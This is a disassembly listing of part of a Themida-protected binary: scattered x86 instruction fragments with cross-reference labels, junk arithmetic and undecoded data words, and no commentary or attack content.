		dd 81E28952h, 4C2h, 5BC4E900h, 0F781FFFFh, 0C65A56F1h
		dd 25D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5639BD:				; CODE XREF: Themida_:00559059j
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_553A8A
; ---------------------------------------------------------------------------


loc_5639CB:				; CODE XREF: Themida_:0055B531j
		xor	edi, 2CE63723h
		jmp	loc_558F98
; ---------------------------------------------------------------------------
a__1s94		db '╬__╢1И94',0
		align 10h
		dd 2474FF52h, 48F5A04h,	0EC815C24h, 4, 81242489h, 42404h
		dd 48F0000h, 24048324h,	139CE904h, 2C89FFFFh, 3B74E924h
		dd 0EC20FFFFh, 7686659h, 14896619h, 0E968B224h,	4466h
; ---------------------------------------------------------------------------


loc_563A20:				; CODE XREF: Themida_:0055CC20j
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_56682E
; ---------------------------------------------------------------------------


loc_563A2A:				; CODE XREF: Themida_:00568117j
		push	ecx
		mov	ecx, 4
		jmp	loc_564A72
; ---------------------------------------------------------------------------


loc_563A35:				; CODE XREF: Themida_:00556B21j
		push	eax
		mov	eax, 5BC2098Ah
		jmp	loc_566F4F
; ---------------------------------------------------------------------------
		dd 0B913C281h, 0D0318B64h, 5A2434FFh, 4C481h, 71E90000h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563A57:				; CODE XREF: Themida_:00560591j
		add	eax, ebp
		pop	ebp
		jmp	loc_563202
; ---------------------------------------------------------------------------


loc_563A5F:				; CODE XREF: Themida_:00558EACj
		pop	edx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 0
		or	eax, eax
		jz	loc_565A5A
		push	94Bh
		mov	[esp], esi
		jmp	loc_5594B6
; ---------------------------------------------------------------------------
		dw 0C131h
		dd 8108E9C1h, 0D1255CE1h, 0ADABE957h, 0D2F7FFFFh, 5615EA81h
		dd 0B951DA51h, 18D408A3h, 0E959C829h, 0FFFF803Bh
; ---------------------------------------------------------------------------


loc_563AB0:				; CODE XREF: Themida_:0055FCD5j
		pop	esp
		push	44B3h
		mov	[esp], ebx
		mov	ebx, 3E3224D3h
		and	ebx, 2DB1538Dh
		and	ebx, 39D22D3Bh
		sub	ebx, 0B9DBB548h
		add	edx, ebx
		jmp	loc_562557
; ---------------------------------------------------------------------------


loc_563AD7:				; CODE XREF: Themida_:005644C4j
		xor	ecx, 1DA21147h
		pop	eax
		pop	ebx
		jmp	loc_55CB95
; ---------------------------------------------------------------------------
		dd 0E9602ABDh, 95D1E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563AEE:				; CODE XREF: Themida_:00563244j
		mov	esi, 2AD6364Eh
		push	ebx
		jmp	loc_563709
; ---------------------------------------------------------------------------
aFufbQfFbQS6	db 'fUf│,$}qf^f│ф}q]И6(',0
		align 2


loc_563B0E:				; CODE XREF: Themida_:005624C8j
		mov	edx, 3FD20391h
		jmp	loc_559894
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5569BE
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF0DB7h, 455EF531h, 765CD81h, 0F5816047h,	5AC40A67h
		dd 44D6E955h, 0C481FFFFh, 2, 66C50966h,	0F5816658h, 57530F26h
		dd 41266866h, 4F665F66h, 0D6C78166h, 0FB89661Bh, 6064E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B6A:				; CODE XREF: Themida_:00567EE1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_563CBA
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0DFh
		dd 51FFFFAAh, 693A31B9h, 5AA4BE73h, 0E6C112E1h,	0F810E906h
		db 0FEh, 0FFh
word_563B8E	dw 8B66h		; DATA XREF: Themida_:005528E0o
		dd 74E9240Ch, 5DFFFFAFh, 0FF7DCDE9h, 0C38143FFh, 2441003h
		dd 875BDD01h, 248B242Ch, 2B8E924h, 0C6810000h, 8304A49h
		dd 1924EE81h, 0F229DE9Dh, 0F9C7E95Eh, 0C481FFFEh, 4, 483A6853h
		dd 8F540000h, 4832404h,	34FF0424h, 241C8B24h, 0FF2496E9h
		dd 148B58FFh, 4C48124h,	0E9000000h, 187Bh, 7E78C781h, 0FA017BDCh
		dd 83243C8Bh, 0C28304C4h, 24148704h, 0FC0095Ch,	23D884h
		dd 4CFB6800h, 14890000h, 4EC8124h, 0E9000000h, 0FFFF289Fh
		dd 100AE95Ch
		db 2 dup(0)
word_563C2A	dw 52ADh		; DATA XREF: Themida_:00552B20o
		dd 0D238D6BAh, 8BD02927h, 0C4832414h, 0EFBE5604h, 2D214121h
		dd 69B96A12h, 0BD55F029h, 3774C99h, 1BCEBA52h, 7E95968h
		dd 8BFFFF15h, 8952241Ch, 0E852E9E2h, 4A4AFFFFh,	8103E2C1h
		dd 9E75A9C2h, 4EC8319h,	0E9243C89h, 0FFFF7C23h
; ---------------------------------------------------------------------------


loc_563C78:				; CODE XREF: Themida_:005622D3j
		mov	ebx, eax
		jmp	loc_557B83
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704EBh, 14895C24h, 46016824h, 24890000h, 24048124h
		dd 4, 8324148Bh, 835304C4h, 3C8904ECh, 0C411E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563CAA:				; CODE XREF: Themida_:00558772j
		not	dl
		push	ax
		mov	ah, 0A2h
		add	dl, ah
		pop	ax
		push	ebx
		jmp	loc_560DBE
; ---------------------------------------------------------------------------


loc_563CBA:				; CODE XREF: Themida_:00563B70j
		sub	esp, 4
		jmp	loc_55D162
; ---------------------------------------------------------------------------
		dw 0CE01h
		dd 0D7CC681h, 34FF0CD4h, 89575924h, 4C781E7h, 83000000h
		dd 3C8704C7h, 0D6015C24h, 6CC7BA52h, 0B8E938E4h, 81FFFF17h
		dd 0AB04246Ch, 8B6F7175h, 0C4832414h, 0EEBDE904h, 0B450FFFEh
		dd 80DCF6C3h, 0CC80A7E4h, 0FED4F6ECh, 22EC80CCh, 8358E300h
		dd 48904ECh, 51D88824h,	0CA88C188h, 24048B59h, 81E38953h
		dd 4C3h, 4C38100h, 33000000h, 1C31241Ch, 241C3324h, 0E924248Bh
		dd 0E3Eh
; ---------------------------------------------------------------------------


loc_563D44:				; CODE XREF: Themida_:00567E98j
		pop	edi
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_563D4A:				; CODE XREF: Themida_:0055B754j
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	42E0h
		mov	[esp], eax
		push	12F5h
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_5647CC
; ---------------------------------------------------------------------------
word_563D6E	dw 6664h		; DATA XREF: Themida_:005529E0o
		dd 6866028Bh, 89666FF1h, 3CE92404h, 5FFFFEEEh, 2B850h
		dd 0C2010000h, 4EC8358h, 3EE5E9h, 47F38100h, 0F7651B3Bh
		dd 47EB81DBh, 4B2A411Ch, 2630C381h, 0F3812E7Ch,	16D9D393h
		dd 23EDC581h, 0DD29080Eh, 23EDED81h, 815B080Eh,	102486EDh
		dd 2434FF18h, 83243C8Bh, 0C48104C4h, 4,	8B242C87h, 8B662424h
		dd 50682404h, 89000030h, 0E389241Ch, 28F568h, 24348900h
		dd 0E4BA5255h, 4A05C153h, 0D9F7CA87h, 3FE9CA87h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563DFF:				; CODE XREF: Themida_:00553ECDj
		add	esp, 4
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_567DE0
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 469B0AEAh, 815BD989h, 672D6FF1h, 0F968E97Ch,	1C87FFFFh
		dd 34FF5C24h, 7C2CE924h, 1C89FFFFh, 343BB24h, 0F3810594h
		dd 2E2A5230h, 4F45BA52h, 0CE958F5h, 89FFFF6Ch, 0F1FCE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E52:				; CODE XREF: Themida_:005619D3j
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	3BB5h
		mov	[esp], ebp
		jmp	loc_559C77
; ---------------------------------------------------------------------------
		dd offset loc_405B66+2
		dw 8900h
		dd 10BA2414h, 0E95CA671h, 0FFFEEFC7h, 3AE8E955h, 74FF0000h
		dd 34FF0424h, 16E95A24h
		db 38h,	2 dup(0)
byte_563E8F	db 68h			; DATA XREF: Themida_:00552AC0o
		dd 22F1h, 3FADE9h, 0C4835A00h, 0D60BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563EA2:				; CODE XREF: Themida_:00560455j
		push	ebp
		push	ebx
		pop	ebp
		pop	ebx
		jmp	loc_557CF7
; ---------------------------------------------------------------------------
byte_563EAB	db 66h			; DATA XREF: Themida_:00552970o
		dd 6824048Bh, 2837h, 0E9242C89h, 0FFFF6DE3h, 1FC7E281h
		dd 80E96DB7h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563EC7:				; CODE XREF: Themida_:005569CBj
		mov	ecx, 3BF236FEh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_555CDD
; ---------------------------------------------------------------------------


loc_563EDA:				; CODE XREF: Themida_:00553665j
		not	dword ptr [esp]
		jmp	loc_556380
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 240C8BCEh, 0FFBCA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563EED:				; CODE XREF: Themida_:00554626j
		sub	ch, 9Ah
		sub	ch, bh
		add	ch, 9Ah
		jmp	loc_5539C6
; ---------------------------------------------------------------------------


loc_563EFA:				; CODE XREF: Themida_:00567E10j
		mov	al, bl
		pop	ebx
		jmp	loc_56630A
; ---------------------------------------------------------------------------
		dw 0E228h
		dd 0FEFCB6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563F09:				; CODE XREF: Themida_:00562F09j
		shl	edx, 8
		jmp	loc_55EFB6
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0E8h
		dd 5D2434FFh, 0FF0D3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563F1D:				; CODE XREF: Themida_:0056032Dj
		xor	ebx, 21047C51h
		push	154Ah
		jmp	loc_557886
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 8B04C483h, 0C4812414h, 4, 0FFFEE5E9h
		db 0FFh
byte_563F41	db 0F6h, 1Ch, 24h	; DATA XREF: Themida_:00552B54o
		dd 0EC71E99Ch, 5D54FFFEh, 0FF9B24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563F51:				; CODE XREF: Themida_:005558C7j
		push	ebx
		jmp	loc_5600A8
; ---------------------------------------------------------------------------
		db 29h
		dd 0EC835AD1h, 24348904h, 122E5468h, 0DEF75E7Ah, 9D9EF681h
		dd 7E9626Dh, 54FFFF71h,	7C7E9h
		db 0
; ---------------------------------------------------------------------------


loc_563F79:				; CODE XREF: Themida_:0055DE1Bj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ecx, 5AB12CC5h
		sub	ecx, esi
		sub	ecx, 5AB12CC5h
		pop	esi
		or	ecx, 11271486h
		not	ecx
		dec	ecx
		shl	ecx, 8
		push	ebx
		jmp	loc_554BC6
; ---------------------------------------------------------------------------
		db 0E9h, 15h, 0ECh
		dd 8850FFFEh, 0E9D0F6F0h, 2627h, 8904EC83h, 0EC81241Ch
		dd 4, 55242489h, 4BDh, 246C0100h, 0D208E904h, 0EFC1FFFFh
		dd 0A2C78106h, 1FE7E74h, 0FDA1E9FAh, 0F031FFFFh, 3481505Eh
		dd 91744524h, 85E95A63h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563FEF:				; CODE XREF: Themida_:00559C9Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55ABBA
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2A3170EAh
		push	esi
		mov	esi, 1393498Ah
		jmp	loc_565A89
; ---------------------------------------------------------------------------


loc_56401D:				; CODE XREF: Themida_:00563142j
		pop	eax
		add	esp, 4
		push	eax
		mov	ah, 53h
		or	cl, ah
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	al, 0B7h
		neg	al
		xor	al, 48h
		add	cl, al
		pop	eax
		inc	cl
		sub	cl, 8Fh
		sub	al, 9Dh
		sub	al, 33h
		jmp	loc_55EC95
; ---------------------------------------------------------------------------


loc_564047:				; CODE XREF: Themida_:00560183j
		pop	esp
		push	ebp
		jmp	loc_567138
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 58B578C8h, 7E84BB53h, 0DE297D73h, 71BB535Bh,	0F776BD29h
		dd 34F5E9DBh, 5D59FFFFh, 12A5E9h, 19E95F00h, 8BFFFFAFh
		dd 0C483241Ch, 24048F04h, 0FF9ABEE9h, 67E957FFh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56408B:				; CODE XREF: Themida_:00565344j
		mov	ecx, 289D338Fh
		shl	ecx, 7
		inc	ecx
		sub	ecx, 4E99C77Dh
		push	esi
		mov	esi, ecx
		mov	edx, esi
		pop	esi
		pop	ecx
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 1
		sub	edx, edi
		pop	edi
		push	628Ch
		jmp	loc_565C2F
; ---------------------------------------------------------------------------
		db 68h,	0DCh, 1Eh
		dd 4890000h, 2C815624h,	2F2DD924h, 8C8FE933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640D2:				; CODE XREF: Themida_:00557B1Bj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55903D
; ---------------------------------------------------------------------------
		db 83h
		dd 1AE904ECh
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640E7:				; CODE XREF: Themida_:0055AE07j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_557B15
; ---------------------------------------------------------------------------


loc_5640F2:				; CODE XREF: Themida_:00563869j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5624F5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 51D7F604h, 0E953FD88h, 9BCh, 1A385705h
		dd 0E9F00121h, 0FFFFF22Fh
; ---------------------------------------------------------------------------


loc_564118:				; CODE XREF: Themida_:00566BA4j
		sub	ebp, 7F7CFF5Ch
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_564A27
; ---------------------------------------------------------------------------


loc_564128:				; CODE XREF: Themida_:0056636Ej
		pop	ebx
		xor	eax, 69A72B63h
		sub	eax, 344E876Eh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 20h
		push	esi
		push	368670E8h
		pop	esi
		add	ebx, esi
		pop	esi
		push	edx
		mov	edx, 2CFE432Eh
		inc	edx
		shl	edx, 5
		jmp	loc_56539B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 2EC8304h, 24148966h, 147568h, 241C8900h
		dd 0EB8063B3h, 0D4B65213h, 0FF3387E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564179:				; CODE XREF: Themida_:005620D1j
		push	ecx
		mov	ecx, 71C044F0h
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		push	esp
		jmp	loc_562B00
; ---------------------------------------------------------------------------


loc_564196:				; CODE XREF: Themida_:00564628j
		push	dword ptr [esp]
		jmp	loc_5601AB
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 0FF8971E9h, 0F74B43FFh, 10EB81DBh, 535AA70Eh, 95242C81h
		dd 5E00B20Eh, 0E95C681h, 0E95B00B2h, 0FFFF169Bh, 362D68h
		dd 24148900h, 0C281E289h, 4, 4C281h, 0EC810000h, 4, 0FF241489h
		dd 5A042474h, 8B24048Fh, 0C8E92424h
		db 0E9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5641F3:				; CODE XREF: Themida_:0055D649j
		add	ebp, esi
		sub	ebp, 635C42A6h
		pop	esi
		add	ebp, 4
		push	ebp
		jmp	loc_56736A
; ---------------------------------------------------------------------------


loc_564208:				; CODE XREF: Themida_:00557758j
		push	esi
		mov	esi, 4
		jmp	loc_558856
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 4815504h, 0BF53A024h, 24348B43h,	4C481h
		dd 0EE810000h, 43BF53A0h, 0FF135AE9h, 575E68FFh, 0E90000h
		dd 0B8FFFFDAh, 241A4C0Eh, 10063105h, 0A374E926h, 0EC83FFFFh
		dd 0E4F4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564256:				; CODE XREF: Themida_:005659E6j
		push	7D085CDFh
		pop	ecx
		add	ebx, 57F613F9h
		add	ebx, ecx
		sub	ebx, 57F613F9h
		jmp	loc_55E128
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 8033B450h, 0EC80EAC4h, 58E1305Ch, 0FFEDB5E9h
		dd 59CA00FFh, 0C0C9B050h, 0D0F604E0h, 592C6004h, 8858C200h
		dd 0F1805AD1h, 59CA888Dh, 0BEEA80h, 0FBE953EAh,	0C0000027h
		dd 0C0FE08E8h, 0C0FEC62Ch, 2EC81h, 89660000h, 8850241Ch
		dd 58E788CCh, 5FF4E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5642CE:				; CODE XREF: Themida_:00556915j
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		db 29h
		dd 0C6015BDEh, 0FF5E1AE9h, 545CBFFFh, 0C9E93B81h, 81FFFEEEh
		dd 57CB2434h, 0AE9201Bh, 89FFFFC1h, 0C6015AD0h,	5585E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5642FE:				; CODE XREF: Themida_:0055E24Aj
		pop	ebp
		jmp	loc_55AE35
; ---------------------------------------------------------------------------


loc_564304:				; CODE XREF: Themida_:0055581Fj
		push	edi
		jmp	loc_558244
; ---------------------------------------------------------------------------


loc_56430A:				; CODE XREF: Themida_:00554335j
		add	esi, edx
		jmp	loc_5584FF
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 87000000h, 685C240Ch, 3AE57684h, 0AF29E959h,	0EC83FFFFh
		dd 64C9E904h, 0B60FFFFFh, 776866C0h, 4896611h, 0E87DE924h
		dd 74FFFFFEh, 0F9E90424h, 89000036h, 0D189240Ch, 5C1968h
		dd 240C8900h, 0E4240481h, 8B22185Ah, 0C483241Ch, 0E4EB8104h
		dd 8B22185Ah, 0C483240Ch, 24148B04h, 0E904C483h, 0FFFEE843h
		dd 0E88852B5h, 8E80E959h, 0EAC1FFFFh, 64E28105h, 8134287Fh
		dd 80E251C2h, 8BD63135h, 0C4812414h, 4,	569ABE56h, 0D7E94067h
		dd 8BFFFF04h, 0C4832434h, 24048F04h, 0E924248Bh, 0FFFFC0C0h
		dd 42474FFh, 81242C8Bh,	4C4h, 5909E900h, 0E089FFFFh, 405h
		dd 40500h, 0FF500000h, 58042474h, 0E924048Fh, 0FFFF5B02h
; ---------------------------------------------------------------------------


loc_5643E4:				; CODE XREF: Themida_:00558E71j
		add	edx, 4
		jmp	loc_566065
; ---------------------------------------------------------------------------


loc_5643EF:				; CODE XREF: Themida_:0055F49Ej
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5553C6
; ---------------------------------------------------------------------------


loc_5643FA:				; CODE XREF: Themida_:0055EB46j
		add	al, 0B6h
		add	al, dh
		sub	al, 0B6h
		push	ecx
		mov	cl, 9
		sub	cl, 23h
		jmp	loc_559C90
; ---------------------------------------------------------------------------
		db 0F7h
		dd 315A2414h, 0E9CA31D1h, 0FFFFADEBh, 4C381h, 0C3830000h
		dd 241C8704h, 7268685Ch, 0C890000h, 14E3E924h, 0D9010000h
		dd 0FFCF015Bh, 68592434h, 4A9Ah, 54243C89h, 4C7815Fh, 52000000h
		dd 4BAh, 11FE900h
		db 2 dup(0)
word_564456	dw 2CACh		; DATA XREF: Themida_:00552A80o
		dd 42004F9h, 2CD80092h,	4EC8392h, 0B3241C89h, 7DEB809Dh
		dd 0D8288004h, 5072B753h, 0E0D024B0h, 7DE90D24h, 81FFFEEFh
		dd 0E25C0CF3h, 8BDE0145h, 0C481241Ch, 4, 1DDABD55h, 0C5813D92h
		dd 0DDCB46CCh, 2393E9h,	4BA00h,	0C3810000h, 3D5510C3h
		dd 5EA9EB81h, 8FE9524Dh
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5644B7:				; CODE XREF: Themida_:00566243j
		xor	dword ptr [esp], 1DA21147h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_563AD7
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048324h, 24048B04h, 504C483h, 4, 8304C083h, 48904ECh
		dd 2474FF24h, 48F5804h,	0C0DAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5644F2:				; CODE XREF: Themida_:00558CCCj
		add	eax, edx
		jmp	loc_55B80A
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0A9h
		dd 29481330h, 0BE565DEEh, 4F696718h, 1376CE81h,	8AE90A8Fh
		dd 66FFFFC5h, 0F766D9F7h, 2CB5E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56451E:				; CODE XREF: Themida_:0055BAD0j
		mov	dl, ch
		pop	cx
		jmp	loc_55C6C5
; ---------------------------------------------------------------------------
		db 81h
		dd 35EC9AC1h, 11F6BD99h, 0CD0144C8h, 53240C8Bh,	0FAE9E389h
		dd 2DFFFF2Eh, 64E23812h, 385852Dh, 58C2297Ah, 0C104E2C1h
		dd 0C28103EAh, 0F4564A74h, 835AD001h, 4EE904E8h, 50FFFF01h
		dd 0FFE087E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564569:				; CODE XREF: Themida_:00556194j
		push	ebp
		mov	ebp, 749B7B97h
		dec	ebp
		jmp	loc_559237
; ---------------------------------------------------------------------------
		db 1, 0D7h, 0E9h
		dd 3702h
; ---------------------------------------------------------------------------


loc_56457C:				; CODE XREF: Themida_:005634ADj
		pop	eax
		add	esp, 4
		pop	ebx
		push	1EE8h
		jmp	loc_5650B8
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 131DE9h, 24C28100h, 16A8593h, 24148BD3h, 8104C483h
		dd 2E371BC3h, 81D3294Bh, 2E371BEBh, 0A2EB814Bh,	5A11BB27h
		dd 643FBA52h, 0EAC15E6Dh, 0F336E904h, 0E7C1FFFFh, 1CBA5202h
		dd 0E9E375DBh, 0D75h, 2B55EF81h, 815A7198h, 3F7772EFh
		dd 88B4E964h, 1433FFFFh, 24143124h, 8B241433h, 0F662424h
		dd 9C2404ABh, 0FEE5BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5645FD:				; CODE XREF: Themida_:00558BC0j
		push	ecx
		mov	ecx, 4
		sub	eax, 72F927F1h
		add	eax, ecx
		push	edi
		jmp	loc_557775
; ---------------------------------------------------------------------------


loc_564610:				; CODE XREF: Themida_:0056780Dj
		mov	bh, 18h
		dec	bh
		jmp	loc_55493B
; ---------------------------------------------------------------------------


loc_564619:				; CODE XREF: Themida_:00561E0Aj
		sub	[edi+20h], ecx
		mov	ecx, [esp]
		add	esp, 4


loc_564625:				; CODE XREF: Themida_:00554EC9j
					; Themida_:00565249j
		push	dword ptr [esp]
		jmp	loc_564196
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FF190BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564635:				; CODE XREF: Themida_:0055F52Fj
		mov	ebx, 60EB4724h
		shr	ebx, 1
		shl	ebx, 1
		add	ebx, 343F4280h
		shl	ebx, 5
		dec	ebx
		add	ebx, 964F199Dh
		add	eax, ebx
		pop	ebx
		jmp	loc_55C177
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 340A128Dh, 0ACDFEE81h, 0C4E92421h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564667:				; CODE XREF: Themida_:00563210j
		add	esp, 4
		jmp	loc_5582DD
; ---------------------------------------------------------------------------
		dw 295Ah
		dd 0CD015EF5h, 0FF0B58E9h, 6BDAB9FFh, 8151519Fh, 2B54242Ch
		dd 5585F32h, 5F322B54h,	5A99E959h
		db 2 dup(0FFh)
word_564696	dw 77FFh		; DATA XREF: Themida_:00552A14o
		dd 59669D1Ch, 241CD366h, 0E515E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5646A6:				; CODE XREF: Themida_:00553F3Fj
		neg	edi
		add	edi, 17AB7C2Ch
		push	edx
		mov	edx, 1235DE41h
		jmp	loc_559054
; ---------------------------------------------------------------------------
		db 0BDh, 0E6h, 50h
		dd 0EF214102h, 48F7815Dh, 0E932B965h, 273Dh, 68240C89h
		dd 990057Bh, 81240C8Bh,	4C4h, 0B8505200h, 3BFF294Eh, 19D9BE56h
		dd 0E1E902CBh, 81FFFFA6h, 0C7F5CEAh, 0DE28155h,	0E9289846h
		dd 0FFFF123Eh
; ---------------------------------------------------------------------------


loc_564700:				; CODE XREF: Themida_:00558A3Cj
		pop	ebp
		jmp	loc_565A5A
; ---------------------------------------------------------------------------
word_564706	dw 48Bh			; DATA XREF: Themida_:00552A6Co
		dd 33E95724h, 29FFFFD4h, 0C875FF9h, 43E95C24h, 81FFFF49h
		dd 0BC4AA0E2h, 2E2C117h, 2797E9h
		db 0
byte_564729	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552B34o
		dd 4EC8324h, 89242C89h,	4C581E5h, 0E9000000h, 0FFFF21DAh
		dd 8124048Bh, 4C4h, 40500h, 0C1680000h,	0E9000000h, 0FFFF30ACh
		dd 2547E95Ah, 4890000h,	0E9F48824h, 0FFFFCB7Eh
; ---------------------------------------------------------------------------


loc_564768:				; CODE XREF: Themida_:00567DE6j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		jmp	loc_558E9E
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 9BE95524h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564787:				; CODE XREF: Themida_:005536D1j
		xor	[esp+4], ebp
		pop	ebp
		mov	ebp, [esp]
		jmp	loc_55A06F
; ---------------------------------------------------------------------------
		dd 9001E981h, 0E1817DB4h, 26F26A6Ch, 0F702E1C1h, 0AEE949D1h
		dd 89FFFF6Fh, 8CC8E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647B2:				; CODE XREF: Themida_:0055A598j
		mov	esp, [esp]
		movsx	ecx, al
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55798A
; ---------------------------------------------------------------------------
byte_5647C3	db 54h			; DATA XREF: Themida_:0055291Co
		dd 0E92434FFh, 0FFFFF35Ah
; ---------------------------------------------------------------------------


loc_5647CC:				; CODE XREF: Themida_:00563D69j
		add	esp, 4
		pop	dword ptr [esp]
		push	1Fh
		mov	[esp], eax
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	eax, [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_553654
; ---------------------------------------------------------------------------


loc_564801:				; CODE XREF: Themida_:0055372Aj
		pop	esp
		push	3969h
		mov	[esp], ebp
		mov	ebp, 5F2035AFh
		push	ecx
		mov	ecx, 1ABF1527h
		neg	ecx
		sub	ecx, 0AC67E087h
		jmp	loc_55E28F
; ---------------------------------------------------------------------------


loc_564822:				; CODE XREF: Themida_:0055704Cj
		mov	ebp, ecx
		pop	ecx
		xor	ebx, ebp
		jmp	loc_55E983
; ---------------------------------------------------------------------------
		dd 15BEF581h, 0A6E9285Fh
		db 80h,	2 dup(0FFh)
byte_564837	db 66h			; DATA XREF: Themida_:005529C4o
		dd 68240C8Bh, 20E2h, 89241C89h,	0CC2FE9E3h, 0F781FFFFh
		dd 7A506ACAh, 4FFEF81h,	0FD29458Fh, 83243C8Bh, 0E80104C4h
		dd 83242C8Bh, 0BB5304C4h, 0E4A1Dh, 0DBF7E3D1h, 8107E3C1h
		dd 4270A2EBh, 5E3C12Ch,	4785F381h, 0D801B70Eh, 686F685Bh
		dd 34890000h, 0CEBF5724h, 83647C4Fh, 0C781FFC7h, 6C675083h
		dd 8108E7C1h, 7C4F58C7h, 0AAC78113h, 531267FCh,	0FF5CADE9h
		dd 4C481FFh, 0E9000000h, 1C43h,	78AE958h, 48B0000h, 0E5AFE924h
		dd 0EB80FFFEh, 0E9D30097h, 0FFFF99A8h, 5C242C87h, 0FFD47DE9h
		dd 815F54FFh, 4C7h, 80B85000h, 0C16F1B45h, 0D60504E0h
		dd 572CD924h, 7BC3B850h, 0C7891235h, 0F09DE958h, 0C581FFFFh
		dd 0FFFFFFFFh, 57BF5750h, 0B85EB35Ch, 5EE33189h, 525FF831h
		dd 0D14C22BAh, 5FF2810Bh, 425C6015h, 0FF0E7DE9h, 24048FFFh
		dd 8924248Bh, 0E2892414h, 4C281h, 58680000h, 8900001Ch
		dd 2B82404h, 1000000h, 148758C2h, 24D35C24h, 4AE99C24h
		dd 81FFFFF6h, 4C2h, 0EAC8E900h,	0EE81FFFEh, 85A78B0h, 5EF0295Dh
